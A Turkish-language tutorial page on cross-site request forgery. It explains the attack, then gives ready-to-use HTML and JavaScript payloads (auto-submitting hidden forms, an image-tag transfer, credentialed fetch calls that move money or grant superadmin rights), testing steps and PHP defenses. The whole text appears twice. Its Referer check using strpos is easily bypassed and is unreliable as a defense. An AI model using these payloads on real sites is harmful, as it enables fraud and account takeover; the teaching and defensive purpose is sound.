CSRF (Cross-Site Request Forgery), oturumu açık olan bir kullanıcının bilgisi ve rızası olmadan, onun adına istenmeyen işlemler yapılmasına olanak tanıyan bir güvenlik açığıdır. Saldırgan, kurbanın tarayıcısını kullanarak hedef siteye istek gönderir ve kurbanın yetkileriyle işlem yapar.
Nasıl Çalışır?
CSRF saldırısı 3 temel adımdan oluşur:
Kurban oturum açar: Kullanıcı, hedef web sitesinde (ör: banka) oturum açar ve tarayıcısında oturum çerezi (session cookie) saklanır.
Saldırgan tuzak hazırlar: Saldırgan, kurbanı kandırarak kötü niyetli bir bağlantıya tıklamasını veya özel bir sayfayı ziyaret etmesini sağlar.
İstek gönderilir: Kurbanın tarayıcısı, oturum çerezleriyle birlikte hedef siteye istek gönderir ve işlem gerçekleşir.
Örnek Senaryo:
Bir banka uygulamasında para transferi işlemi şu şekilde yapılıyor:
text
POST /transfer HTTP/1.1
Host: banka.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
gonderen=123&alici=456&miktar=1000
Saldırgan şu bağlantıyı oluşturur:
html
<img src="https://banka.com/transfer?gonderen=123&alici=999&miktar=10000" />
Kurban bu görsele tıkladığında, oturumu açık olduğu için 10.000 TL transfer edilir.
CSRF Türleri:
1. GET Tabanlı CSRF
En basit tür. Saldırgan GET isteğiyle işlem yapar.
Örnek:
html
<a href="https://banka.com/transfer?alici=999&miktar=10000">Hediye Kazan!</a>
2. POST Tabanlı CSRF
POST istekleriyle işlem yapar. JavaScript veya otomatik form gönderimi kullanılır.
Örnek:
html
<form action="https://banka.com/transfer" method="POST" id="csrf">
<input type="hidden" name="alici" value="999" />
<input type="hidden" name="miktar" value="10000" />
</form>
<script>document.getElementById("csrf").submit();</script>
3. CSRF ile JSON Tabanlı API Saldırısı
Content-Type: application/json kullanan API'lere saldırı.
Örnek:
html
<script>
fetch('https://api.banka.com/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({alici: 999, miktar: 10000})
});
</script>
Uygulama Teknikleri (Test):
Manuel Test Teknikleri:
Basit GET Testi:
İşlem yapan tüm GET isteklerini tespit edin.
Tarayıcıda URL'yi ziyaret edin: https://hedef.com/sil?id=123
İşlemin gerçekleşip gerçekleşmediğini kontrol edin.
POST Testi (HTML Form):
html
<html>
<body>
<form action="https://hedef.com/guncelle" method="POST">
<input type="hidden" name="kullanici" value="admin" />
<input type="hidden" name="yetki" value="1" />
<input type="submit" value="Tıkla!" />
</form>
</body>
</html>
Bu sayfayı kendi sunucunuzda barındırın ve tıklayın.
İşlemin başarılı olup olmadığını kontrol edin.
Otomatik Form Gönderimi:
html
<html>
<body onload="document.forms[0].submit()">
<form action="https://hedef.com/profil" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
</body>
</html>
API Testi (Fetch/XMLHttpRequest):
html
<script>
fetch('https://hedef.com/api/update', {
method: 'POST',
credentials: 'include',
body: 'user=admin&role=superadmin'
});
</script>
XSS + CSRF Kombinasyonu:
XSS açığı varsa, JavaScript ile CSRF isteği gönderin.
javascript
fetch('/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'alici=999&miktar=10000'
});
Otomatik Test Araçları:
Burp Suite: CSRF PoC Generator (Engagement Tools → Generate CSRF PoC)
OWASP ZAP: CSRF Scanner
CSRF Tester: Firefox eklentisi
XSRFProbe: Otomatik CSRF keşif aracı
Koruma Teknikleri (Güvenlik):
1. CSRF Token (Synchronizer Token Pattern)
En etkili yöntem. Her form için benzersiz bir token oluşturun.
Sunucu:
php
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
echo '<input type="hidden" name="csrf_token" value="'.$token.'">';
Kontrol:
php
session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF saldırısı tespit edildi!');
}
2. SameSite Cookie Attribute
Çerezlerin sadece aynı site içinde gönderilmesini sağlar.
php
setcookie('session', 'abc123', [
'samesite' => 'Strict' // veya Lax
]);
Strict: Tamamen engeller.
Lax: GET isteklerine izin verir, POST'u engeller.
3. Referer/Origin Kontrolü
İsteklerin kaynağını kontrol edin.
php
$referer = $_SERVER['HTTP_REFERER'];
if (!strpos($referer, 'kendi-siteniz.com')) {
die('Geçersiz kaynak!');
}
4. Custom Header Kullanımı
Özel bir header (ör: X-Requested-With) ekleyin ve kontrol edin.
javascript
fetch('/api/update', {
headers: {'X-Requested-With': 'XMLHttpRequest'}
});
5. Double Submit Cookie
Token'ı hem çerezde hem formda gönderin ve eşleşmesini kontrol edin.
6. CAPTCHA / İkinci Faktör
Hassas işlemler için (para transferi, şifre değişikliği) ek doğrulama isteyin.
7. JSON API'ler için Özel Önlemler
Content-Type kontrolü yapın.
CORS yapılandırmasını daraltın.
credentials: 'include' içeren istekleri kısıtlayın.
CSRF Tespit Kontrol Listesi:
Tüm işlem yapan endpoint'leri listeleyin.
GET metodunu kullananları öncelikli test edin.
POST formlarını test edin (token var mı?).
API endpoint'lerini test edin (JSON, XML).
SameSite cookie durumunu kontrol edin.
Referer/Origin kontrollerini test edin.
Token'ın şifreli ve tahmin edilemez olduğunu doğrulayın.
Nasıl Çalışır?
CSRF saldırısı 3 temel adımdan oluşur:
Kurban oturum açar: Kullanıcı, hedef web sitesinde (ör: banka) oturum açar ve tarayıcısında oturum çerezi (session cookie) saklanır.
Saldırgan tuzak hazırlar: Saldırgan, kurbanı kandırarak kötü niyetli bir bağlantıya tıklamasını veya özel bir sayfayı ziyaret etmesini sağlar.
İstek gönderilir: Kurbanın tarayıcısı, oturum çerezleriyle birlikte hedef siteye istek gönderir ve işlem gerçekleşir.
Örnek Senaryo:
Bir banka uygulamasında para transferi işlemi şu şekilde yapılıyor:
text
POST /transfer HTTP/1.1
Host: banka.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
gonderen=123&alici=456&miktar=1000
Saldırgan şu bağlantıyı oluşturur:
html
<img src="https://banka.com/transfer?gonderen=123&alici=999&miktar=10000" />
Kurban bu görsele tıkladığında, oturumu açık olduğu için 10.000 TL transfer edilir.
CSRF Türleri:
1. GET Tabanlı CSRF
En basit tür. Saldırgan GET isteğiyle işlem yapar.
Örnek:
html
<a href="https://banka.com/transfer?alici=999&miktar=10000">Hediye Kazan!</a>
2. POST Tabanlı CSRF
POST istekleriyle işlem yapar. JavaScript veya otomatik form gönderimi kullanılır.
Örnek:
html
<form action="https://banka.com/transfer" method="POST" id="csrf">
<input type="hidden" name="alici" value="999" />
<input type="hidden" name="miktar" value="10000" />
</form>
<script>document.getElementById("csrf").submit();</script>
3. CSRF ile JSON Tabanlı API Saldırısı
Content-Type: application/json kullanan API'lere saldırı.
Örnek:
html
<script>
fetch('https://api.banka.com/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({alici: 999, miktar: 10000})
});
</script>
Uygulama Teknikleri (Test):
Manuel Test Teknikleri:
Basit GET Testi:
İşlem yapan tüm GET isteklerini tespit edin.
Tarayıcıda URL'yi ziyaret edin: https://hedef.com/sil?id=123
İşlemin gerçekleşip gerçekleşmediğini kontrol edin.
POST Testi (HTML Form):
html
<html>
<body>
<form action="https://hedef.com/guncelle" method="POST">
<input type="hidden" name="kullanici" value="admin" />
<input type="hidden" name="yetki" value="1" />
<input type="submit" value="Tıkla!" />
</form>
</body>
</html>
Bu sayfayı kendi sunucunuzda barındırın ve tıklayın.
İşlemin başarılı olup olmadığını kontrol edin.
Otomatik Form Gönderimi:
html
<html>
<body onload="document.forms[0].submit()">
<form action="https://hedef.com/profil" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
</body>
</html>
API Testi (Fetch/XMLHttpRequest):
html
<script>
fetch('https://hedef.com/api/update', {
method: 'POST',
credentials: 'include',
body: 'user=admin&role=superadmin'
});
</script>
XSS + CSRF Kombinasyonu:
XSS açığı varsa, JavaScript ile CSRF isteği gönderin.
javascript
fetch('/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'alici=999&miktar=10000'
});
Otomatik Test Araçları:
Burp Suite: CSRF PoC Generator (Engagement Tools → Generate CSRF PoC)
OWASP ZAP: CSRF Scanner
CSRF Tester: Firefox eklentisi
XSRFProbe: Otomatik CSRF keşif aracı
Koruma Teknikleri (Güvenlik):
1. CSRF Token (Synchronizer Token Pattern)
En etkili yöntem. Her form için benzersiz bir token oluşturun.
Sunucu:
php
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
echo '<input type="hidden" name="csrf_token" value="'.$token.'">';
Kontrol:
php
session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF saldırısı tespit edildi!');
}
2. SameSite Cookie Attribute
Çerezlerin sadece aynı site içinde gönderilmesini sağlar.
php
setcookie('session', 'abc123', [
'samesite' => 'Strict' // veya Lax
]);
Strict: Tamamen engeller.
Lax: GET isteklerine izin verir, POST'u engeller.
3. Referer/Origin Kontrolü
İsteklerin kaynağını kontrol edin.
php
$referer = $_SERVER['HTTP_REFERER'];
if (!strpos($referer, 'kendi-siteniz.com')) {
die('Geçersiz kaynak!');
}
4. Custom Header Kullanımı
Özel bir header (ör: X-Requested-With) ekleyin ve kontrol edin.
javascript
fetch('/api/update', {
headers: {'X-Requested-With': 'XMLHttpRequest'}
});
5. Double Submit Cookie
Token'ı hem çerezde hem formda gönderin ve eşleşmesini kontrol edin.
6. CAPTCHA / İkinci Faktör
Hassas işlemler için (para transferi, şifre değişikliği) ek doğrulama isteyin.
7. JSON API'ler için Özel Önlemler
Content-Type kontrolü yapın.
CORS yapılandırmasını daraltın.
credentials: 'include' içeren istekleri kısıtlayın.
CSRF Tespit Kontrol Listesi:
Tüm işlem yapan endpoint'leri listeleyin.
GET metodunu kullananları öncelikli test edin.
POST formlarını test edin (token var mı?).
API endpoint'lerini test edin (JSON, XML).
SameSite cookie durumunu kontrol edin.
Referer/Origin kontrollerini test edin.
Token'ın şifreli ve tahmin edilemez olduğunu doğrulayın.
🔒 Bu içeriği görmek için giriş yapın